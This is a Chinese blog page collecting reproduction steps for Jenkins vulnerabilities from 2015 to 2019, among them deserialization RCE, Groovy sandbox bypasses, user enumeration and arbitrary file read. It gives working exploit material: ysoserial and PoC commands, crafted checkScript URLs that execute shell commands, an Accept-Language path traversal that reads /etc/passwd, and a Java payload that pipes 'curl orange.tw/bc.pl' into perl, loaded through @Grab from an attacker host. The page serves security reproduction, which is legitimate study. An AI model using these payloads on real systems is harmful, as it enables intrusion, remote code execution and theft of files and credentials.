当前位置: 首页 > news >正文

jenkins漏洞集合

目录

CVE-2015-8103 反序列化远程代码执行

CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞

CVE-2016-0792 低权限用户命令执行

CVE-2016-9299 代码执行

CVE-2017-1000353 Jenkins-CI 远程代码执行

CVE-2018-1000110 用户枚举

CVE-2018-1000861 远程命令执行

CVE-2018-1999002 任意文件读取

CVE-2018-1000600 Jenkins GitHub 信息泄露

CVE-2019-1003000 远程代码执行

CVE-2019-1003005 远程代码执行

CVE-2019-1003029 Script Security Plugin沙箱绕过

CVE-2019-10392 Jenkins Git 插件命令执行

CVE-2019-10352 任意文件写入


复现文章和脚本大都是网上收集,大部分能找到出处的,个别找不到明确的地址。

CVE-2015-8103 反序列化远程代码执行

1.638之前的Jenkins和1.625.2之前的LTS中的Jenkins CLI子系统,允许远程攻击者通过制作的序列化Java对象执行有问题的commons-collections。

利用脚本:https://github.com/LeoHuang2015/jenkins-cli-exploit

执行后有类似如下反应:

image-20200327115239320

还可以使用msf中的模块exploit/linux/misc/jenkins_java_deserialize来执行攻击反弹shell。

CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞

CloudBeesJenkinsCI1.650之前版本和LTS1.642.2之前版本的remoting模块中存在安全漏洞。远程攻击者可通过打开JRMP监听程序利用该漏洞执行任意代码。

利用需要X-Jenkins-CLI2-Port对应的端口,如果Jenkins无法获取CLI版本2的端口标头“ X-Jenkins-CLI2-Port”,它会退回到版本1。

利用ys生成二进制文件:java -jar ysoserial.jar CommonsCollections3 "curl http://r9rub4.ceye.io/" > payload.bin

利用脚本:https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py

发送的二进制文件实际上是十六进制的(<===[JENKINS REMOTING CAPACITY]===>)与其后base64的编码构成。使用类似反应如下:

image-20200327121322560

CVE-2016-0792 低权限用户命令执行

影响版本:jenkins小于 1.650

利用脚本:https://github.com/jpiechowka/jenkins-cve-2016-0792

执行后类似如下

image-20200327120724417

CVE-2016-9299 代码执行

2.32之前的Jenkins和2.19.3之前的LTS中的远程处理模块允许远程攻击者通过精心制作的序列化Java对象执行任意代码,从而触发对第三方服务器的LDAP查询。

关于这个漏洞的分析和代码利用,已经有详细的分析文章:https://paper.seebug.org/199/

msf有成熟的利用模块:exploit/linux/misc/jenkins_ldap_deserialize

CVE-2017-1000353 Jenkins-CI 远程代码执行

影响版本:Jenkins<=2.56。Jenkins LTS <= 2.46.1

下载pochttps://github.com/vulhub/CVE-2017-1000353

执行生成字节码文件。

java -jar CVE-2017-1000353-SNAPSHOT-all.jar jenkins_poc.ser "curl http://xxx.ceye.io"

利用py文件来进行发送

python exploit.py http://x.x.x.x:8080 jenkins_poc.ser

会有如下反应

image-20200325165630218

CVE-2018-1000110 用户枚举

模糊搜索:http://x.x.x.x:8080/search/?q=a

image-20200325165813965

http://x.x.x.x:8080/search/suggest?query=a

image-20200325165911492

如果git插件小于3.7,也可以使用如下

http://x.x.x.x:8080/git/search/?q=a

http://x.x.x.x:8080/git/search/suggest?query=a

CVE-2018-1000861 远程命令执行

可以使用如下的一键化脚本

https://github.com/orangetw/awesome-jenkins-rce-2019

也可以自定义发送请求

http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl http://xxx.ceye.io/CVE-2018-1000861".execute()}}

页面返回空白,响应为

image-20200325171107715

如果使用脚本,则同样效果

image-20200325171239538

还可以使用的POC,使用会提示错误信息,但命令已执行。

/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec("curl http://xxx.ceye.io/CVE-2018-1000861")%7d)%0aclass+Person%7b%7d
/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+"curl http://xxx.ceye.io/CVE-2018-1000861".execute().text+%7d)%0aclass+Person%7b%7d

环境搭建

参考:Vulhub - Docker-Compose file for vulnerability environment

执行如下命令启动一个Jenkins 2.138,包含漏洞的插件也已经安装:

docker-compose up -d

环境启动后,访问http://your-ip:8080即可看到一个已经成功初始化的Jenkins,无需再进行任何操作。

漏洞复现

使用 @orangetw 给出的一键化POC脚本,发送如下请求即可成功执行命令:

 
  1. http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript

  2. ?sandbox=true

  3. &value=public class x {

  4. public x(){

  5. "touch /tmp/success".execute()

  6. }

  7. }

/tmp/success已成功创建:

 

CVE-2018-1999002 任意文件读取

影响版本:Jenkins weekly 2.132 以及更早的版本。Jenkins LTS 2.121.1 以及更早的版本

可以读取Windows系统服务器中的任意文件,且在特定而条件下也可以读取Linux系统服务器中的文件.

详情:https://xz.aliyun.com/t/2486

结合payload来看,我们请求的url为/plugin/credentials/.ini,则base为空,扩展名(ext变量)即为.ini,然后通过一系列的尝试openURL,在此例中即最后一个情形con = openURL(map(base+'_'+ locale.getLanguage()+ext));,会去请求_../../../../../../../../../../../../windows/win.ini ,尽管目录_..并不存在,但在win下可以直接通过路径穿越来绕过。但在linux,则需要一个带有_的目录来想办法绕过。

需要已经开启了匿名用户读取权限,在请求头中添加

 

Accept-Language: /../../../../../../../../etc/passwd

处理请求中的包含路径,比如/plugin/xxxx,可以尝试

 

/plugin/jquery-detached/.xml

/plugin/jquery-detached/.key

/plugin/credentials/.ini

在Windows下这么使用

 
  1. GET /plugin/credentials/.ini HTTP/1.1

  2. Host: x.x.x.x:8080

  3. Accept: text/javascript, text/html, application/xml, text/xml, */*

  4. X-Prototype-Version: 1.7

  5. DNT: 1

  6. X-Requested-With: XMLHttpRequest

  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36

  8. Origin: http://x.x.x.x:8080

  9. Referer: http://x.x.x.x:8080/

  10. Accept-Encoding: gzip, deflate

  11. Accept-Language: /../../../../../../../../etc/passwd

  12. Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971

  13. Connection: close

CVE-2018-1000600 Jenkins GitHub 信息泄露

影响版本:Jenkins GitHub插件小于1.29.1

利用的POC为,其中user1为用户名。

/securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://xxx.ceye.io

执行后显示

image-20200326173809956

查看DNSlog回显

image-20200326173837239

CVE-2019-1003000 远程代码执行

实际影响版本及编号:CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)

拥有Overall/Read 权限的用户可以绕过沙盒保护,在jenkins可以执行任意代码。此漏洞需要一个账号密码和一个存在的job。受影响插件版本:Pipeline: Declarative 插件 <= 1.3.4。Pipeline: Groovy 插 件 <= 2.61。Script Security 插 件 <= 1.49。

下载环境和利用代码:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git

执行利用后显示

image-20200326112837107

我们的job中也被添加了如下

image-20200326112903149

CVE-2019-1003005 远程代码执行

受影响版本:

  1. Jenkins 2.53
  2. Jenkins 2.122
  3. Jenkins 2.137
  4. Jenkins 2.138 启用匿名读取
  5. Jenkins 2.152 启用匿名读取
  6. Jenkins 2.153 启用匿名读取
  7. Script Security Plugin 1.43
  8. Script Security Plugin 1.48

下载利用脚本:https://github.com/orangetw/awesome-jenkins-rce-2019

构建环境后,执行脚本如下

image-20200326124130037

显示如下

image-20200326124151396

当然如果不想使用这种一键式脚本还可以自己构造jar来利用

创建Payload.java

 
  1. public class Payload {

  2. public Payload(){

  3. try {

  4. String payload = "curl orange.tw/bc.pl | perl -";

  5. String[] cmds = {"/bin/bash", "-c", payload};

  6. java.lang.Runtime.getRuntime().exec(cmds);

  7. } catch (Exception e) { }

  8. }

  9. }

编译文件,创建META-INF/services/文件夹,同时在文件夹下创建名为org.codehaus.groovy.plugins.Runners的文件。内容随意,比如Payload

文件创建后,在某一目录下,文件树类似如下:

image-20200327093359850

编译以上目录jar cvf poc-1.jar code/

将编译产生的文件移动到类似如下地址cp poc-1.jar ~/www/code/payload/poc/1/

将www目录移动到web服务器中,地址类似:http://xxx.com/code/payload/poc/1.poc-1.jar

利用如下exp

 
  1. http://<TARGET HOST>/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

  2. ?value=

  3. @GrabConfig(disableChecksums=true)%0a

  4. @GrabResolver(name='payload', root='http://<EXPLOIT HOST>')%0a

  5. @Grab(group='package', module='payload', version='1')%0a

  6. import Payload;

CVE-2019-1003029 Script Security Plugin沙箱绕过

此漏洞和CVE-2019-1003005漏洞同样都是由Script Security插件引起。利用方式和上一致。影响版本1.55以下。

CVE-2019-10392 Jenkins Git 插件命令执行

之前做过这个漏洞的复现,地址:CVE-2019-10392 Jenkins 2k19认证远程RCE ~ Misaki's Blog

CVE-2019-10352 任意文件写入

该漏洞使经过身份验证的具有Job/Configure权限的攻击者可以使用目标之外的文件名定义文件参数,从而导致任意文件写入。

创建一个名为test的新“自由式项目”(该项目的工作空间将位于JENKINS_HOME/workspace/test)

相关文章:

jenkins漏洞集合

目录 CVE-2015-8103 反序列化远程代码执行 CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞 CVE-2016-0792 低权限用户命令执行 CVE-2016-9299 代码执行 CVE-2017-1000353 Jenkins-CI 远程代码执行 CVE-2018-1000110 用户枚举 CVE-2018-1000861 远程命令执行 CVE-2018…...

用canvas画一个炫酷的粒子动画倒计时

前言 &#x1f606; 这是一篇踩在活动尾声的文章&#xff0c;主要是之前在摸鱼社群里有人发了个粒子动画的特效视频&#xff0c;想着研究研究写一篇文章出来看看&#xff0c;结果这一下子就研究了半个多月。 &#x1f602; 下面就把研究成果通过文字的形式展现出来吧&#xf…...

Java技术学习——Maven相关知识

一、什么是Maven&#xff1f; Maven是Apache软件基金会组织维护的一款专门为Java项目提供构建和依赖管理支持的工具。 1.1 构建 构建过程包含的主要环节如下&#xff1a; 清理&#xff1a;删除上一次构建的结果&#xff0c;为下一次构建做好准备编译&#xff1a;Java源程序…...

C++ 认识和了解C++

1.在使用C语言写代码的时候开头要用到的是&#xff1a; #include<iostream> using namespace std;不可以写成这样&#xff1a; #include iostream.h&#xff08;1&#xff09;iostream是输入输出流类&#xff0c; istream输入流类 cin >> ostream输出流类 cout &…...

u盘误删的文件怎么找回

u盘误删的文件怎么找回?u盘的特点之一就是极其便携&#xff0c;可以容纳各种格式的数据和文件&#xff0c;需要时可以直接使用。每次使用都会或多或少的存放一些文件&#xff0c;但有使用就会有删除&#xff0c;为了不影响使用性&#xff0c;清理存储空间是必要的。清理中如果…...

二分查找由浅入深--算法--java

二分查找写在开头算法前提&#xff1a;算法逻辑算法实现简单实现leftright可能超过int表示的最大限度代码分析和变换更多需求&#xff1a;求索引最小的值java二分API应用基础题思考难度方法写在开头 二分查找应该是算比较简单的这种算法了&#xff0c;我本以为还可以。但有时候…...

【学习】笔记本电脑重新安装系统win10

安装系统有很多方法: 软件安装制作启动u盘本文使用的方法就是启动盘安装: 1.首先下载iso镜像文件: msdn我告诉你:MSDN, 我告诉你 - 做一个安静的工具站 (itellyou.cn) 2.下载启动盘制作工具: 制作启动盘rufus:Rufus - 轻松创建 USB 启动盘 3.官网下载: https://do…...

RocketMQ的一些使用理解

1.RocketMQ的生产者生产负载策略&#xff08;3种&#xff09; (1)SelectMessageQueueByHash &#xff08;一致性hash&#xff09; (2)SelectMessageQueueByMachineRoom &#xff08;机器随机&#xff09; (3)SelectMessageQueueByRandom &#xff08;随机&#xff09; 第1种一…...

Java枚举详解

一.枚举 1.为什么有枚举&#xff1f; 如果我们的程序需要表示固定的几个值&#xff1a; 比如季节&#xff1a;spring (春)&#xff0c;summer(夏)&#xff0c;autumn(秋)&#xff0c;winter(冬) 用常量表示&#xff1a; public static final int SEASON_SPRING 1;public st…...

虚拟机上安装openKylin详细步骤总结

一、创建虚拟机 首先获取操作系统安装镜像文件&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1tSuXmDk2ZILR4ieee6iImw?pwdcy47 提取码&#xff1a;cy47 &#xff08;1-1&#xff09;进入新虚拟机创建向导&#xff0c;选择“自定义”&#xff1a; &#xff08;1-…...

夜天之书 #74 企业开源的软件协议模型实践(Part 2)

在上一篇文章中&#xff0c;我介绍了企业开源的完全开放源码策略及其风险。完全开放源码&#xff0c;即以符合开源定义的软件协议发布企业自研软件的情形。本文介绍应对完全开放源码后的风险的第一种策略&#xff1a;提高市场占有率与开放标准。与其说是策略&#xff0c;不如说…...

2.webpack实时打包

简介 上一章已经实现了使用 webpack 构建了一个简单的项目&#xff1b;但是我们发现&#xff0c;每次修改了 index.js 需要重新执行 cnpm run dev 命令重新构建 main.js&#xff1b;这在开发阶段是无法忍受的&#xff0c;因为这样调式将浪费大量的时间&#xff1b;还好 webpac…...

KingbaseES V8R3 表加密

前言 透明加密是指将数据库page加密后写入磁盘&#xff0c;当需要读取对应page时进行加密读取。此过程对于用户是透明&#xff0c; 用户无需干预。 该文档进行数据库V8R3版本测试透明加密功能&#xff0c;需要说明&#xff0c;该版本发布时间早于V8R6&#xff0c;所以只能进行表…...

2 为社么软件架构很重要?

2 为社么软件架构很重要&#xff1f; 啊&#xff0c;建造&#xff0c;建造&#xff01; 这是所有艺术中最崇高的艺术。 — 亨利沃兹沃思朗费罗 如果架构是答案&#xff0c;那么问题是什么&#xff1f; 本章从技术角度重点介绍架构的重要性。我们将研究面包师的十几个最重要…...

Python 之 Pandas merge() 函数、set_index() 函数、drop_duplicates() 函数和 tolist() 函数

文章目录一、merge() 函数1. inner2. left 和 right3. outer二、set_index() 函数三、drop_duplicates() 函数四、tolist() 函数五、视频数据分析案例1. 问题要求2. 解决过程在最开始&#xff0c;我们先导入常规的 numpy 和 pandas 库。 import numpy as np import pandas as …...

MySQL实战之深入浅出索引(下)

1.前言 在上一篇文章中&#xff0c;我们介绍了InnoDB索引的数据结构模型&#xff0c;今天我们再继续聊一下跟MySQL索引有关的概念。 在介绍之前&#xff0c;我们先看一个问题&#xff1a; 表初始化语句 mysql> create table T ( ID int primary key, k int NOT NULL DEFA…...

(二分查找)leetcode1539. 第 k 个缺失的正整数

文章目录一、题目1、题目描述2、基础框架3、原题链接二、解题报告1、思路分析2、时间复杂度3、代码详解三、本题小知识一、题目 1、题目描述 给你一个 严格升序排列 的正整数数组 arr 和一个整数 k 。 请你找到这个数组里第 k 个缺失的正整数。 示例 1&#xff1a; 输入&…...

yaml文件格式详解及实例

&#x1f341;博主简介 &#x1f3c5;云计算领域优质创作者   &#x1f3c5;华为云开发者社区专家博主   &#x1f3c5;阿里云开发者社区专家博主 &#x1f48a;交流社区&#xff1a;运维交流社区 欢迎大家的加入&#xff01; 文章目录yaml简介yaml语法规则Yaml语法实例数组…...

AOP在PowerJob中的使用,缓存锁保证并发安全,知识细节全总结

这是一篇简简单单的文章&#xff0c;需要你简简单单看一眼就好&#xff0c;如果有不明白的地方&#xff0c;欢迎留言讨论。 在之前的文章中出现过一次AOP的使用&#xff0c;就是在运行任务之前&#xff0c;需要判断一下&#xff0c;触发该任务执行的server&#xff0c;是不是数…...

对账平台设计

背景 随着公司业务的蓬勃发展&#xff0c;交易履约清结算业务的复杂性也在不断的增高&#xff0c;资金以及各种数据的一致性和准确性也变得越发重要。 以交易链路为例&#xff0c;存在着如下一些潜在的不一致场景&#xff1a; 订单支付成功了&#xff0c;但是订单状态却还是“…...

使用VSCode开发Django指南

使用VSCode开发Django指南 一、概述 Django 是一个高级 Python 框架&#xff0c;专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。 本文将创建一个简单的 Django 应用&#xff0c;其中包含三个使用通用基本模板的页面。在此…...

【JavaEE】-- HTTP

1. HTTP是什么&#xff1f; HTTP&#xff08;全称为"超文本传输协议"&#xff09;是一种应用非常广泛的应用层协议&#xff0c;HTTP是基于TCP协议的一种应用层协议。 应用层协议&#xff1a;是计算机网络协议栈中最高层的协议&#xff0c;它定义了运行在不同主机上…...

三维GIS开发cesium智慧地铁教程(5)Cesium相机控制

一、环境搭建 <script src"../cesium1.99/Build/Cesium/Cesium.js"></script> <link rel"stylesheet" href"../cesium1.99/Build/Cesium/Widgets/widgets.css"> 关键配置点&#xff1a; 路径验证&#xff1a;确保相对路径.…...

【git】把本地更改提交远程新分支feature_g

创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...

IoT/HCIP实验-3/LiteOS操作系统内核实验(任务、内存、信号量、CMSIS..)

文章目录 概述HelloWorld 工程C/C配置编译器主配置Makefile脚本烧录器主配置运行结果程序调用栈 任务管理实验实验结果osal 系统适配层osal_task_create 其他实验实验源码内存管理实验互斥锁实验信号量实验 CMISIS接口实验还是得JlINKCMSIS 简介LiteOS->CMSIS任务间消息交互…...

ArcGIS Pro制作水平横向图例+多级标注

今天介绍下载ArcGIS Pro中如何设置水平横向图例。 之前我们介绍了ArcGIS的横向图例制作&#xff1a;ArcGIS横向、多列图例、顺序重排、符号居中、批量更改图例符号等等&#xff08;ArcGIS出图图例8大技巧&#xff09;&#xff0c;那这次我们看看ArcGIS Pro如何更加快捷的操作。…...

Selenium常用函数介绍

目录 一&#xff0c;元素定位 1.1 cssSeector 1.2 xpath 二&#xff0c;操作测试对象 三&#xff0c;窗口 3.1 案例 3.2 窗口切换 3.3 窗口大小 3.4 屏幕截图 3.5 关闭窗口 四&#xff0c;弹窗 五&#xff0c;等待 六&#xff0c;导航 七&#xff0c;文件上传 …...

uniapp 字符包含的相关方法

在uniapp中&#xff0c;如果你想检查一个字符串是否包含另一个子字符串&#xff0c;你可以使用JavaScript中的includes()方法或者indexOf()方法。这两种方法都可以达到目的&#xff0c;但它们在处理方式和返回值上有所不同。 使用includes()方法 includes()方法用于判断一个字…...

深入浅出Diffusion模型:从原理到实践的全方位教程

I. 引言&#xff1a;生成式AI的黎明 – Diffusion模型是什么&#xff1f; 近年来&#xff0c;生成式人工智能&#xff08;Generative AI&#xff09;领域取得了爆炸性的进展&#xff0c;模型能够根据简单的文本提示创作出逼真的图像、连贯的文本&#xff0c;乃至更多令人惊叹的…...

【深尚想】TPS54618CQRTERQ1汽车级同步降压转换器电源芯片全面解析

1. 元器件定义与技术特点 TPS54618CQRTERQ1 是德州仪器&#xff08;TI&#xff09;推出的一款 汽车级同步降压转换器&#xff08;DC-DC开关稳压器&#xff09;&#xff0c;属于高性能电源管理芯片。核心特性包括&#xff1a; 输入电压范围&#xff1a;2.95V–6V&#xff0c;输…...